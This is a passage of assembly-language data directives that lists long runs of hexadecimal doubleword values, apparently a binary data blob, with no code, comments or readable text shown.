0AF7D4935h, 0BCDB19B6h dd 1047FC30h, 0E686077h, 9FA4B02Fh, 0D534F7E0h, 0EC002E78h dd 15BA8B28h, 91EDEAh, 87DFE986h, 0AAE51624h, 95CC6D0Bh dd 69DD00F6h, 255390h, 72D7F486h, 6E5D1EFCh, 6F4F6500h dd 0A44DB1C5h, 0C0943CCAh, 31813380h, 867D139Dh, 0E1000BE2h dd 2F57A863h, 3B7BFB50h, 0A1805A40h, 5D323766h, 345903DFh dd 49150ED0h, 0DC05D2BBh, 0DC909033h, 3B20378h, 41FA224Ch dd 2016C9F6h, 5200FB30h, 520AC5CCh, 189B60A5h, 0D4758AE0h dd 2D38261Eh, 34626004h, 743408F1h, 72420319h, 43B79B49h dd 0B0F0D9E8h, 8ABAF700h, 1DA748C4h, 2AB200A5h, 96C3D327h dd 0B982BEAh, 0F740FA1Dh, 4755DB87h, 0A621CD70h, 1613F60Dh dd 505AFBh, 377D624Eh, 8873EAA1h, 8228B400h, 0B55FE4FDh dd 0FBBC3CC6h, 0DC9C80CBh, 910096BDh, 764D7F1h, 3F9E8203h dd 0A33ADA69h, 0AE26E8Fh, 17006CABh, 0F7F6973Ch, 0B400284Bh dd 55397451h, 0EDAF019Dh, 0E1059E94h, 4FF0209Ch, 0D244F400h dd 7BFEEA2h, 926A006Bh, 0F3350A85h, 8770DBDEh, 8E78113Ch dd 0C04F2BCCh, 82E90169h, 527094h, 45552679h, 569CA15Eh dd 7D636402h, 8E668FD1h, 0BCBDC09Fh, 4F982521h, 0C8003B40h dd 99276760h, 38F4145Ah, 936CD200h, 15F110E5h, 704A006Ah dd 0EEC5DE0Ah, 9E033680h, 176F0752h, 0AD06E8DAh, 7CE90044h dd 0D75FC861h, 0EF1C4742h, 36C78256h, 400B2EEDh, 301E406Ch dd 69D9EB05h, 771DCB35h, 7B043D68h, 0B4A3D750h, 3CD96C11h dd 179D008Dh, 0EA065E32h, 75F800B7h, 0E4D64A30h, 36FC3D8Bh dd 22414020h, 87F99D45h, 4478E2D9h, 0BB209CB0h, 377481h dd 69BFE19Ah, 9799C1DBh, 8CB1E500h, 0FD2E61CBh, 1C494ABh dd 0BF8B5C79h, 4E08E9h, 0C0283C2Bh, 8F96E545h, 2E43A03Eh dd 40000961h, 0C6020D0Ch, 0C8D51483h, 0C212CE5Bh, 21B88862h dd 787D5722h, 35907Fh, 855ACECBh, 99455824h, 2F122AE8h dd 0A097FFh, 0B0664B89h, 271F4AB0h, 4106A6C5h, 249B9BDh dd 323D5554h, 5480E920h, 8E249887h, 651CB6F8h, 0C50745DFh dd 0CB32670Bh, 9D645CB7h, 9CC7002Dh, 0C2E0BC42h, 541B01Ch dd 169F0870h, 0A5430972h, 406888C3h, 0DD0003DEh, 4489A38Ch dd 57E980h, 90070BABh, 48012ED8h, 4027637Bh, 7CF06896h dd 3FC9001Ah, 543D43A5h, 0E2EC1B74h, 72758D00h, 0B7E55DFh dd 0A4150077h, 308AF71Fh, 5C018457h, 0EC24D128h, 59CCBFD8h dd 54DC07F1h, 8E1879h, 5F75864Dh, 0EAA4A306h, 371D296h dd 52E28058h, 4E0F80Ah, 8E0F2AD0h, 8328596Ah, 0B0D30F1Eh dd 6F50E7BDh, 2D00C8EBh, 20B76D2h, 6DF53Eh, 3063C7B8h dd 4CAC51h, 0FA1E37D5h, 0DF06A420h, 97C04F00h, 7079AFE2h dd 0BF823D66h, 4411F5B0h, 2404A1DAh, 5C0646Bh, 0D23C60ADh dd 64C02CA5h, 2F06076Fh, 0D83F588Bh, 4BE20EDCh, 61E03E39h dd 2AD29AB5h, 0C9AADE00h, 9F3C7F1Ah, 13F68Bh, 3275497Eh dd 57EEDACBh, 957A5E00h, 7C856017h, 8EB56C46h, 5A037630h dd 1DDBA763h, 0F871CED6h, 0F504A52Eh, 0B9E1FE80h, 60C267C1h dd 5D031839h, 0DD01347Dh, 0CE1D546Fh, 98F81659h, 67A9004Ah dd 2E92AA31h, 7C64FF02h, 9021C829h, 9CE51397h, 487ACF44h dd 74ED42BCh, 7122D924h, 94089011h, 3CCD5184h, 448D4F3h dd 25709942h, 13140821h, 221CF842h, 1524AB35h, 128CF121h dd 0FD5710ECh, 84C94940h, 33179010h, 223C4028h, 0BD42037Bh dd 2964473Eh, 0E4A42334h, 46AB5144h, 517985BEh, 0FFC51428h dd 86057990h, 44298250h, 4701B11Ch, 9FEB3831h, 0E5F98D0Bh dd 0FB3CFC0h, 0E4354C3Ch, 1845580h, 0BEF4A7C6h, 0C162000h dd 0ED05D90Fh, 0F58D006Bh, 1D715732h, 85002DAEh, 7EABE9Eh dd 2CF15689h, 0F84D38Bh, 0B2C03BAAh, 8FDC8CAh, 2500C7E2h dd 0DD89C42Ah, 71A0FFh, 0E8DC6E9h, 0B31F502Bh, 0CCC75900h dd 0C252A45Eh, 0D9831EB8h, 0F45FC0A8h, 769BDAC4h, 82973Fh dd 748EF87Fh, 9C816h, 4B125BC0h, 6570D1A3h, 0C3557901h dd 1B5A0DA5h, 1445824h, 5B194AFCh, 9FAB084Bh, 0BE807A78h dd 0CEE4A89Bh, 0D0F30090h, 0E8AD291Ch, 3B263F2Bh, 3D8014A7h dd 0A433D6DAh, 3251D4Bh, 0BF1D0098h, 99C4C092h, 0E71B500h dd 7D5851D6h, 6DEA0090h, 8A5B5070h, 0D703D8FAh, 2F44BDAAh dd 0ECC5886Bh, 22E41CA1h, 7CB70081h, 69939702h, 0E02CFE00h dd 0D3A179B5h, 9A7A00E2h, 7DF81657h, 8007771h, 8D017CF5h dd 7C4C8A1Dh, 36091F94h, 0DCB0F75h, 7CC8C03Ch, 2634919Ch dd 0B2B37106h, 0F0D53Ch, 15785E1Ch, 49F87EC6h, 0DE01E071h dd 43C3D16Bh, 5F60D07Fh, 1FE50748h, 0E402F3h, 2B827EBEh dd 5650CF00h, 0DD75FA83h, 0CA961E9Ch, 0E116C1E5h, 435FB40Ah dd 70906085h, 0C80003DDh, 8723E8E4h, 50F5D309h, 0F1F2A402h dd 0E02BC880h, 261DC64Ah, 0F4103901h, 24748C84h, 0C39CF0h dd 0FCE785C1h, 0CD55E8FEh, 46994E00h, 354DABA6h, 320701F4h dd 0C4EDEF5Dh, 4740209Ch, 0D316C900h, 185B4AFEh, 3FAE7E49h dd 8F9ECBECh, 0A6DCC1EAh, 0FCEE1EF1h, 8201A298h, 3C853AE6h dd 2330D06Ch, 29A1073Dh, 41D308EBh, 20B31110h, 15009860h dd 392C7B73h, 50E8E9FCh, 45BA8AAh, 883A2029h, 0D42080E5h dd 0E000BFB3h, 1CAA25BEh, 245972D5h, 1C501099h, 9909304h dd 9410D7A0h, 0AA02CE4Ah, 0C2E261BCh, 859848FCh, 65920795h dd 3937241Fh, 997A4500h, 5500A39Fh, 264D0D96h, 53752Ah dd 872491A6h, 0D0CAF9F2h, 0B121300h, 968ED1FFh, 157D0027h dd 3C063B2Ah, 0CF0390AFh dd 0E2C83E48h, 419EA0A8h, 0E04E039h, 6254C2F9h, 0ED93FD60h dd 0DC00F836h, 462D0526h, 0B1D41Eh, 751F1C9Ch, 62CA15C4h dd 65063601h, 76C39AD1h, 482107F7h, 72B4DAh, 61B28016h dd 5824B970h, 3AC4B0h, 0BB8E6723h, 713398F1h, 0E5AF03EAh dd 895AC643h, 398AFB98h, 80931E3Fh, 0C5F84EF0h, 3689F22h dd 0F3015D97h, 0F7A8F5B0h, 6F398AD8h, 7C358006h, 4CEB1DD9h dd 9E380029h, 47DDF04Fh, 6500E360h, 0C38B50E2h, 262D9F20h dd 13BFFCh, 9B64244Fh, 0C71D3297h, 0C0860F0Eh, 70C354h dd 0E3B73B1Fh, 30518844h, 14F70903h, 0B852ED6Ah, 3D757464h dd 720338A3h, 0F20D6002h, 0E004BDA9h, 0A013762h, 1C1E3CF9h dd 13F4702Bh, 6AE00F9Dh, 3BA00DDCh, 7A954ED0h, 0C7330901h dd 0C2229BAAh, 14A3DCh, 4C251B26h, 3DF39940h, 9305E600h dd 887CD5A6h, 0F09E0014h, 0C9B30A51h, 47176B8Ah, 0BE00C73Ah dd 0A945894Ah, 0FBC101E3h, 99717AACh, 3900EFD8h, 0D6C6F50Bh dd 97B5ABh, 0CD15175Bh, 7A9C45EAh, 874A9B0Bh, 0E4E8003Dh dd 3F0DEC65h, 880B175h, 66138B6Fh, 0DF1268DDh, 7F0E7648h dd 0A26B87FAh, 90B0C08Eh, 28130A5h, 62FCD840h, 38C03DC6h dd 2F3C3F07h, 3B98BD71h, 0A42726D9h, 8C2AE983h, 74C0B467h dd 2DF221h, 0AF261B24h, 0E9BA4A0Ah, 0A7D2B912h, 0D3C6E600h dd 557827h, 53913350h, 0DC9EAB59h, 661C4001h, 9F57DF32h dd 7FF589C0h, 731312ADh, 23CA008Fh, 15F00B47h, 0BD1ED6E6h dd 0C1C0DBC0h, 763D3ECAh, 6BEE3A2Eh, 8D16F400h, 1287E64Ah dd 8B61830h, 0EEED01h, 74BB5FABh, 0BEFE8152h, 1E3D03E6h dd 43E2804Ah, 0BA7F4EA4h, 0C42E07B1h, 0E064C7A5h, 0BBD83776h dd 0B8771E02h, 80AEC6F6h, 6CF4FA8Bh, 26A20334h, 27108E35h dd 4DD29C0h, 217F5700h, 39F94C94h, 0C6E40F55h, 0D560A30Eh dd 185D3C77h, 1A26A898h, 8780A010h, 0AE25DDD3h, 1BC80041h dd 0CD0CB41Dh, 0DB007D57h, 354F8DE9h, 3E58C6h, 2E319705h dd 9DA5D3CEh, 899F9B1Fh, 4D4617C2h, 0FFA860A2h, 54DE4D21h dd 0F289E63Bh, 44843B92h, 5F63800Ah, 700372Eh, 0D616291Dh dd 32B2Ah, 0DADE6C7Fh, 43063540h, 0DC0FCE72h, 0A09F09F1h dd 0CB49891Ch, 275D0019h, 0C8CE1098h, 8500B8CCh, 38CEDFAh dd 0BA9B1Dh, 8E306263h, 0A80CDF50h, 6AF14F03h, 73E0274Dh dd 6EB10010h, 77B77F5Ah, 0B9001585h, 0C345CB2Ah, 0FF99E0Ch dd 0BAAA9541h, 0FCFABCC0h, 0AFB8794Ch, 8055B539h, 5D40EAE4h dd 3C73E1BFh, 3E806A81h, 49FA52B7h, 0C8007FC1h, 0BF02E034h dd 16042F77h, 4009ADDCh, 0DDF15130h, 5B1DA9B0h, 10401541h dd 38D0468Dh, 66EE3D32h, 0FA89Ch, 42A4AF0Ch, 3602125Ch dd 97C86314h, 74B0403Fh, 5E1B0095h, 17F46245h, 430CBB7Fh dd 0FA986D76h, 0DE590086h, 721C6749h, 61124FD8h, 0B4406CAFh dd 0D79465A8h, 0EE67EACDh, 0A09F124Eh, 0C9B00177h, 102CD6DFh dd 11BB81Dh, 0B059844Bh, 2058B35Eh, 0E3E5F6E4h, 23CC0085h dd 9C36B5ACh, 31C0A500h, 8C9AFC0Ch, 0D4B200AFh, 61DDE773h dd 0C400B3E3h, 488136EBh, 243545EFh, 9CDE9Eh, 8AC8A98Eh dd 4D01E63Eh, 0F0B3093Bh, 0A6402B50h, 1DD024h, 9FF6A11Ch dd 96D24E7Ch, 0B943F800h, 7FF71B06h, 46280720h, 0C0BD7E17h dd 9F0868CAh, 8054FA3Ch, 0B4675842h, 3F91F3ACh, 3280B517h dd 0A85605A0h, 2600E4A9h, 0FF312E8Ch, 3CE9EE3Ch, 24991DCBh dd 0D09FF084h, 4A001C57h, 0EF564508h, 326F5h, 1F324FA2h dd 5036F2E7h, 86D20500h, 14933D6Fh, 0A25E0782h, 0B0915284h dd 924A65AFh, 0D695A30Eh, 8ECB3Bh, 1EE91D3Ch, 60161E4Dh dd 6663C3BAh, 0F2F05C17h, 0E800E505h, 11A26C7Dh, 0A025E056h dd 7B850B8h, 7092C4D2h, 28D56010h, 84906BB4h, 6736B207h dd 7E17C973h, 0A77B7FE0h, 0EBC100ACh, 58D8B0A0h, 9D0FF7F6h dd 8099DC03h, 2CD52A60h, 6E040031h, 0B4F537EEh, 0F200728Dh dd 94E5CE3Dh, 12D86BBEh, 7492F46h, 0D3C03CA4h, 1FE08108h dd 3400E465h, 5279D8CBh, 0F4983D64h, 12B900C2h, 84A10423h dd 41162156h, 0A503AA01h, 0BA71F227h, 0CE446016h, 0E375005Bh dd 0B90FB447h, 0E400E169h, 8068BFFBh, 0BC3050h, 89B61FC9h dd 44F2F893h, 42C88207h, 8FA07275h, 0B0678159h, 0DA710438h dd 0C0A0C999h, 9ABD4B44h, 1FBB4488h, 0EF78C6h, 0D2BF2B7Fh dd 590AFED4h, 90D638AFh, 0DFB9FD03h, 0D8439306h, 0DCD949h dd 7CCB5F03h, 0ED9B5573h, 0B80130B8h, 0F013D53Fh, 0D460B6D2h dd 82610280h, 6DF7364Eh, 0F431B341h, 0F0084ABh, 19BEAFD4h dd 1D13959h, 0ECDA6BF0h, 31036E0Ch, 33F3D432h, 0F57CC602h dd 0C0CFE91Eh, 0F1724h, 55032234h, 3AA8479Fh, 81A0C509h dd 6E286023h, 54E90EB1h, 70204952h, 0C5A527A9h, 0F1C44D00h dd 25FF85F2h, 0C72302E4h, 155A13C9h, 1426B880h, 0B0770BADh dd 21E12705h, 0CB0095BAh, 0C918D819h, 0E7F443h, 0A14B81EDh dd 713A44AAh, 2A3CFB1Fh, 2061A5FEh, 42133928h, 0B840F141h dd 2722593h, 0F54D3380h, 0B4A00A4Fh, 37E38441h, 0EA2A30B2h dd 5748874h, 1126ACA0h, 0C56EE9F6h, 919D0011h, 90F8262h dd 9AABC3A7h, 4A4020E2h, 0FE25AFA3h, 6A78003Eh, 1EE1C3Ch dd 0F0E4BDF1h, 285B3347h, 8CA13CE0h, 1189DD25h, 46510044h dd 98DEFFA6h, 0E661B75Dh, 0C9B26459h, 7B82474h, 1FEB8CBAh dd 619E63ECh, 37DF1901h, 550CA55Dh, 0D49F8B40h, 94250524h dd 0C04C0E8Dh, 0A2F0F418h, 0B30032EAh, 89302CFDh, 0B8876FF3h dd 3F140044h, 7F2F3D81h, 0CE0AF7C0h, 0E9C4E990h, 0A6535100h dd 3E700FEFh, 310297F8h, 9E02C996h, 71B810C3h, 0AA016CD0h dd 0A9FD50FAh, 3880389Bh, 0A4100EE5h, 700CE66h, 34C3863Ch dd 3611292h, 8C22212Fh, 2A8B6993h, 117101F0h, 840D5Ch dd 31769D62h, 1E73858Dh, 0B12DC98h, 70805D7Ch, 0EDB57796h dd 1E2B6B00h, 5A93A642h, 1CAA00ACh, 27E78DD2h, 0B200F6EFh dd 34E96D92h, 8591C5h, 7EE5550h, 0E59CC368h, 92FA48h, 181ADE47h dd 3C91BDF2h, 0A480EC98h, 2A5EB344h, 0C200FEB2h, 9E3F7E56h dd 0DE2BA1h, 25F4CD97h, 0A31324ECh, 36A2E224h, 0DFEDB00h dd 7D60B4AAh, 0CA9F003Eh, 6335230Bh, 8F07BB9Dh, 98B33925h dd 11AA5870h, 22B000F6h, 13DD3637h, 0E8E1ACA4h, 1A029C33h dd 0CA19BDF0h, 4753E069h, 0AC7013EBh, 31E8F0FEh, 0B895FB00h dd 3861DE5Fh, 8FD23DFAh, 60BB7900h, 5CEB6825h, 0C8E7AC3Eh dd 4DDA0075h, 0EDEEF3FEh, 96867867h, 0F0230050h, 0DF6E0FB3h dd 0BA001D90h, 0EF468007h, 21FD3F3h, 603A3FC0h, 34E04FFBh dd 8400F6DFh, 0F8A8E804h, 356CD6Fh, 0CE0CEF74h, 45F358CCh dd 46300B88h, 0E2DF1800h, 0B5B9A7BCh, 0DB5001FEh, 0A4D74202h dd 7082E092h, 4E583900h, 84C8AE96h, 0A7E10003h, 44AB6EFBh dd 0FA000B66h, 0F9FD1CCFh, 5D58F1h, 34CBEC1Bh, 0F5A1428Ch dd 54B93E00h, 0BF5FB551h, 72988Bh, 0D7F6F97Bh, 0FBDC4917h dd 8ED51100h, 2CB54F8Ah, 26CA00EAh, 1AE97967h, 0FE032B0Bh dd 41B62139h, 0AB239145h, 323870h, 0FA53117Bh, 13490472h dd 861E39h, 7173F518h, 0D4F1F0h, 98A95F38h, 6F4C8BB6h dd 9074400h, 837FB94Ah, 63DB0024h, 943702E4h, 0F022E50h dd 0D0F0AA2Ah, 0CEB4C053h, 74A7004Ch, 87EBFD52h, 0F7040DB6h dd 9915F3E2h dd 717D7C80h, 0E12D0068h, 371CD490h, 0D500C984h, 0AA421A4Bh dd 1680BB10h, 0C0CAF860h, 0ED44A064h, 0AE0081F2h, 0BF9B7FFAh dd 235C74Dh, 15665239h, 0FC40E4CDh, 28003B1Dh, 3FB531F5h dd 32F14FEAh, 0C249CFDCh, 500A4E01h, 0E8E45434h, 8E5D09A0h dd 74A0E0DFh, 83026009h, 852CC000h, 968FBA71h, 175C000Bh dd 4EFBFA6Ah, 9C010E8Eh, 7D7686EEh, 1260C593h, 7E110069h dd 0F1859458h, 1BFA0F39h, 343E951Dh, 64305340h, 0FDA3DEh dd 0F3D51A3Ch, 23628A27h, 1B8C802Eh, 3F1C6817h, 7A484540h dd 14C227FCh, 8CBB6CA6h, 4DB12400h, 68C6948Ah, 0D966D40Bh dd 52F080F2h, 0B0D7FA0Fh, 1E2E1D78h, 4D0D4311h, 6E88301Dh dd 0FD1EE880h, 6340F10Bh, 87FEAB17h, 0D9712Ch, 5B78C434h dd 21F828ADh, 49F9E214h, 74060998h, 46D0A0CDh, 71981BAh dd 7907A435h, 6B281778h, 0E1CD3401h, 0AD0BC0EAh, 0DAD15A01h dd 0C7A24A9Ch, 0B6015C3Dh, 60E17359h, 3360609Dh, 4912C505h dd 0C401E51Ah, 9214EF87h, 3349130h, 75217B1Fh, 797F153h dd 1ABF60EBh, 2913715Ah, 0A8006D78h, 0E80316C4h, 847A53h dd 0B8D111F9h, 0EB09FF45h, 0A9968000h, 369EAB66h, 0FD3401A0h dd 0A8B77C5Fh, 0F419807Bh, 9744FC65h, 6C9003CFh, 0B4EAFB3Ah dd 0F8AD1100h, 9B1816F7h, 89731F30h, 70A60E2Bh, 0C17F403Fh dd 6938AADCh, 99BC8E01h, 0D7F7B760h, 1B87460h, 1BED4843h dd 3013F911h, 45038F9Ch, 0EA3AE6A4h, 1A6BE826h, 0A433497Eh dd 2A61800h, 3DF6887Fh, 9113620Eh, 3917A055h, 48E68FEAh dd 0B907B092h, 10DD8AFDh, 2DEF0BE2h, 32C3448h, 0C3881BD1h dd 924E9081h, 0B1350009h, 3FC437Bh, 7400BA17h, 9C08AEDDh dd 6C2EDD9h, 108D8C86h, 0A1000899h, 94AD4832h, 0AB063Eh dd 56709F31h, 20A04284h, 8F29500h, 0FA9EAAF7h, 0BB8107B9h dd 70ABDB25h, 671EA112h, 80FE333Ch, 85622E57h, 0E74204h dd 79117C0Eh, 2318C776h, 1000EC98h, 81C0CEEFh, 20638Dh dd 5539F8DDh, 0E2E4E505h, 80AE023Bh, 17C65D2h, 7CB72574h dd 7A77005Eh, 9D31720Bh, 6B3BEBA4h, 8DC5808Fh, 0E199E73Fh dd 51AE007Bh, 3DEF610Ch, 0BE1EE382h, 92C0EB90h, 0E222E069h dd 36230B48h, 6A0216FDh, 38F08A0Ch, 0F27F5500h, 97D8CE3Ch dd 35980EC9h, 0CF6FECD2h, 0AB61C1C0h, 205C1EF7h, 976F1E23h dd 185FDEFBh, 4CC18C83h, 5070EB65h, 780F48h, 8434224Bh dd 1133FD8Bh, 1AF0CF00h, 0E588A471h, 7F540F5Eh, 0C0C7C8B5h dd 46B372D6h, 49B094E0h, 0C119CF17h, 77BAC880h, 4428F717h dd 2D221C03h, 5FF0D624h, 4401048Ch, 0D470FC9Dh, 0A8CB2CECh dd 900183BFh, 0CEB58D8h, 5F1416h, 3B938D04h, 789AAEC4h dd 0A012379h, 74E32A5Ch, 4ECC5967h, 0FC1C0032h, 504635A1h dd 2701CB13h, 0B0DC238h, 0A7E03BB4h, 89DF245Ah, 0FC803978h dd 0E848F50h, 3300483Ah, 0B3EC418Eh, 25CE2151h, 80A375E7h dd 7800832Eh, 4A11EA9Bh, 0D373ACh, 3C131656h, 0EB691C68h dd 80D75000h, 4BC0FA34h, 4DFC0063h, 0F78D661Ah, 1F0028F3h dd 0DF73EF90h, 25F55F53h, 7C4096E5h, 0F400A821h, 8D72E281h dd 729BEE07h, 19EC64h, 909D05C6h, 6386FE82h, 0FDC76600h dd 0E87F3FFFh, 0E7809B3h, 444087AFh, 0E00053FBh, 1844691Bh dd 0EF42F33h, 2DC6D936h, 0FED234C0h, 0F505E546h, 68113B54h dd 0DD6F3490h, 0F477DCh, 2A5FEF8Fh, 0EDAD0E19h, 1A079F2Dh dd 4858A4h, 0E20AD12Ah, 0E88AFAF6h, 0CC307700h, 49BAEAC7h dd 0DAEC1DC5h, 1800E511h, 0A05BF336h, 0F2CD7806h, 88990Dh dd 0B51E514Ah, 0EC3B6170h, 4FD03201h, 0E2D4504Dh, 259886DCh dd 0F0271B58h, 0C0A4D014h, 15F469BAh, 8886C40Ch, 0B64478C9h dd 50B707B8h, 1420F999h, 0EC8D7727h, 0B60ADE13h, 65B000AEh dd 92757490h, 571B0D04h, 0E8C0ADD6h, 48688876h, 0C301359Bh dd 0EBB2B370h, 0F6488189h, 3059DD37h, 0FA463C8h, 8620F8FAh dd 93872A43h, 0E99BA101h, 1C57EBA5h, 2A352C48h, 1CA0EDD3h dd 518A36Bh, 0A0BF5664h, 0F901E87Ch, 0CD20E094h, 0B5E01033h dd 2C98003Eh, 9756C170h, 0C8A0C6A1h, 5507F199h, 0BC145489h dd 0EB778880h, 0E4E009h, 23E62E5Fh, 9F5985C5h, 6B204B60h dd 17012C47h, 0C07929D3h, 223720F0h, 0C010A84Bh, 692300EEh dd 4DCA291Eh, 570A000Dh, 5E6CB37h, 6A01F10Ch, 6B8E0843h dd 78CA97FDh, 7CF40188h, 0CF1E72DCh, 0E17BE8DAh, 2C8E407h dd 23510115h, 0BDE0A3D9h, 8B6903D0h, 7E29EF8h, 138C0FCh dd 0DB4A90DCh, 11F0781Dh, 0B56182h, 2DE9FE08h, 0CE72B6DFh dd 32B08800h, 8EBC9F50h, 0B3390027h, 0FD217A8Dh, 8C002E56h dd 9E4C3A7h, 0E4CA88A0h, 598E0C1h, 7C338EB5h, 0E8D04295h dd 0C4A0C8B1h, 823861EBh, 0EE01492h, 1C21FB07h, 1B25091Fh dd 7B79D0F0h, 86100FFh, 0C4B16865h, 7B00EAB7h, 1CF96DBh dd 143D2C1h, 0C20AE926h, 60562917h, 0ED00A0C4h, 7E9E9D38h dd 745966F8h, 0A9786Bh, 0A6E235E4h, 136709BBh, 0C00DCBEh dd 0EC0B3381h, 1A1C0C7h, 9EB31492h, 0BA3F4A00h, 0DA61EAD2h dd 0C29C015Fh, 7CB82487h, 0F757C49Ah, 0AAEF4700h, 0E155787Ah dd 0CBAF0023h, 2EDA267Eh, 1400A3C6h, 828C881Ah, 390761ECh dd 773EE5h, 5B0D119Ah, 88564CFh, 27D33107h, 0FAE07ADAh dd 0E943FCh, 0ADA7A2AAh, 3F2CA964h, 6752D617h, 1DED3CC0h dd 0B3BF801Fh, 10E5D230h, 2F5E495h, 42C07F17h, 0EAE0CA58h dd 0BF003161h, 0C395ADE6h, 39148974h, 938063A5h, 5AA30216h dd 0A80076D5h, 80B2B14Eh, 7111A7Ah, 1B0E93C9h, 7E4FA5Ch dd 0C0F2EF1Ch, 0D78E5DC0h, 3C3FAD01h, 0F61A27E9h, 5FCAE4h dd 1F4A4E28h, 0DC8B04A7h, 9B46BA02h, 0E0698ACCh, 0ED01A550h dd 171D5DF4h, 1975924h, 0F729E554h, 38B8684Ch, 2E73809Bh dd 0B86BEE27h, 8303009Fh, 7F97B2FEh, 7107C1CAh, 3160EB8Ch dd 0FF2420C9h, 1D05FEh, 6A0A101Bh, 38EEA3D1h, 0E401B090h dd 93751987h, 0FC34C817h, 0DAD24AA8h, 258F0908h, 780820F9h dd 50B86677h, 9186A0h, 1E386384h, 1C6C03E6h, 0FD9FC200h dd 952D71EFh, 0DBD0004Ah, 0EB3C6270h, 0D100E133h, 71AB84E0h dd 1BC6AAh, 0F125992Ah, 8CF978B5h, 100DFE0h, 5F646CFDh dd 0FAA1FF14h, 68DE48C1h, 74CD4000h, 0C94F60D6h, 777BA300h dd 7503529Ch, 0DB0D006Ch, 7B05DC6h, 422E0F86h, 4602DDEEh dd 0E0A64B39h, 55C4C0h, 29768378h, 0FC401743h, 23D9400h dd 85C28F18h, 103904FAh, 0C1C460CDh, 34E522F6h, 0CC0209B4h dd 0ECC70726h, 0A88A0B8h, 0F6318Dh, 0A3AA68F9h, 0B9D54288h dd 5C783702h, 6BFF76FCh, 9357B870h, 0B887075Bh, 0A0461CCCh dd 0E8D7FCB3h, 0CFB65428h, 740B3C00h, 1FDF53AFh, 9E802836h dd 810500D0h, 0D2B9FB3Dh, 0D89A7327h, 48405216h, 13E1D027h dd 99806FA4h, 785C59F9h, 0A0B04820h, 807DD425h, 0D50EEDCh dd 0E8580006h, 6BDFA1E9h, 6C1EF7B5h, 7C0C9F9Ch, 17866101h dd 13BC9Bh, 5F124120h, 0C400DCD8h, 55AC0219h, 77A4A7h dd 73CE0BD1h, 58B4A35Ch, 60FCAB0Bh, 5209000Dh, 4E9B63AFh dd 20500090h, 6793EEACh, 0B0B05744h, 4E704F8h, 912715D8h dd 44E3A240h, 8B8CD8C8h, 0AFB05305h, 2CC870E2h, 0A1C6055Ah dd 0DC5D1006h, 90033320h, 97A2B99Eh, 14D17C7Eh, 90040CF1h dd 6A01FC58h, 0FC023C80h dd 2B20823Ah, 0EC6C83BEh, 18271564h, 0B8038C4h, 0A24B3BA4h dd 78FDCA31h, 0B475799Fh, 0D82090E6h, 25291639h, 0B0EA0196h dd 0CE923091h, 20C1B841h, 0F224E3D0h, 912CF8A9h, 679B9700h dd 0CA5E081h, 0AE7AA7B6h, 4E00F648h, 6014AF5Fh, 0C0D51104h dd 0B32CA461h, 0E330F736h, 691A888Ah, 0E9196347h, 52AEB0A7h dd 0CCF64812h, 7382038h, 0FDAED317h, 0A4FE4067h, 0F900294Eh dd 0D9723066h, 28F96D1h, 0DEFB3F90h, 0FDC183EBh, 246082ACh dd 0E0B73375h, 50BA2304h, 0B688C491h, 0E27450B0h, 4C29B103h dd 0E093035Dh, 1F73CA77h, 40AF242Dh, 112FC7D8h, 61028B54h dd 9A6E17F4h, 16FC5ECAh, 7CCC0039h, 0A491C089h, 6B103860h dd 78C8F4D9h, 3F2009ADh, 420B853h, 0ACD7D235h, 89DA873Eh dd 20264884h, 786EA480h, 0C13B2C9Ch, 0E9BF80C8h, 2B193A2h dd 0C828C5F4h, 4700908Ah, 0C777DEDBh, 44FC10h, 8D322D75h dd 2AC93C0Eh, 3C21223Dh, 0BBD08002h, 0F35250B1h, 6E260029h dd 6C4D3C8Ah, 6200BD11h, 8EB2D025h, 1CF7F1h, 8DBBB00Fh dd 158493FFh, 1F9CC65Dh, 0FBC0D3A1h, 0F59AEE7Ah, 32E31D47h dd 0B694813Ch, 0C6EC4ABBh, 6FBF04E0h, 1CA74200h, 0D1D0FD12h dd 9E5C007Ah, 0F26A9F22h, 0A1F0AEE2h, 0D60EAF00h, 10B0F155h dd 3DB7B83Ah, 5878B70h, 221D8835h, 0BC807EFFh, 0D09006BDh dd 0DA01FC76h, 0A756A43Dh, 0A8413181h, 72EDC4Eh, 0A08F3378h dd 7C5D61E9h, 0FFD14F00h, 493BB0CFh, 0A3500A0h, 0BC727813h dd 0C20E4802h, 10F22Ch, 6BE708DAh, 59F1008Dh, 0BE054918h dd 3D27CBEAh, 484C1Bh, 0BA346C8Ah, 4E32218Fh, 4E0B800h dd 2EB960B4h, 1D3AF436h, 75DF640h, 20D8897Ah, 0FD6A9050h dd 0E18C4700h, 165638BCh, 0B9D003Ch, 0F28AC1D0h, 510E08A7h dd 8024FD8Bh, 0C2E03B72h, 0F3E8F8B8h, 245D98FCh, 800CAB39h dd 0FA601B7Eh, 5E1DD3E1h, 911DB4A5h, 80BBD28Bh, 57460EFDh dd 722D009Ah, 74FDA9AEh, 9C00BA18h, 0FCC243B7h, 0BC7F5Bh dd 13CF7A17h, 0F7F9C7CCh, 83077E00h, 0AA03FC33h, 43FB006Ah dd 0C390CEDEh, 2005AB2Ch, 0CA980257h, 0D6D4A4C0h, 0AB91FA8h dd 0FE5C4C19h, 0CB005719h, 992BA55Bh, 2C3CF9E8h, 760ADA0h dd 0D072D2CEh, 2810925h, 56B7C8A8h, 0A87EEF00h, 0E7535740h dd 0E44607F5h, 0FA883677h, 40200BCh, 5F9C69F9h, 6016DCCBh dd 165A7770h, 949EEE5h, 4C517682h, 607D820Fh, 0F7BD1DEFh dd 9C735962h, 80F1771Eh, 3A6EAA3Ch, 9FBEA4h, 0DBDDFC34h dd 64310BE8h, 58A08142h, 0EA5C6DFh, 0A11A9900h, 799251CDh dd 33E0305h, 8E49FCB5h, 0FD6F30D7h, 52EEEDDDh, 0DE00809Ah dd 3DF39706h, 96118A6h, 1D67517Dh, 0C02B7880h, 0CE04804Ah dd 1A06C8BFh, 8627DCD8h, 0CD8D60C9h, 0B500460h, 0E520D04Fh dd 865899D7h, 0CC105104h, 8C3204F5h, 20B25112h, 0BB33F751h dd 10DC600h, 44E2EF60h, 303B5895h, 54007AA8h, 0E89E0991h dd 2797A6B3h, 0D8196C1Eh, 5C15129Dh, 21BC00D8h, 396DACAAh dd 84E6B80Fh, 680DAAECh, 0C86652h, 9EB93CF1h, 0F9F7D450h dd 140020B1h, 346FB705h, 170EBh, 52732FACh, 0D5E2DDBDh dd 0FF4DFB03h, 800413BFh, 0B799583h, 0EE1BA476h, 5496301Ch dd 0E91480B9h, 70760FE3h, 0F1343B51h, 6FE4A502h, 4C80641Dh dd 43F7A6F4h, 1B00209Ch, 1D3DB7D2h, 0E99C1C79h, 39F540DDh dd 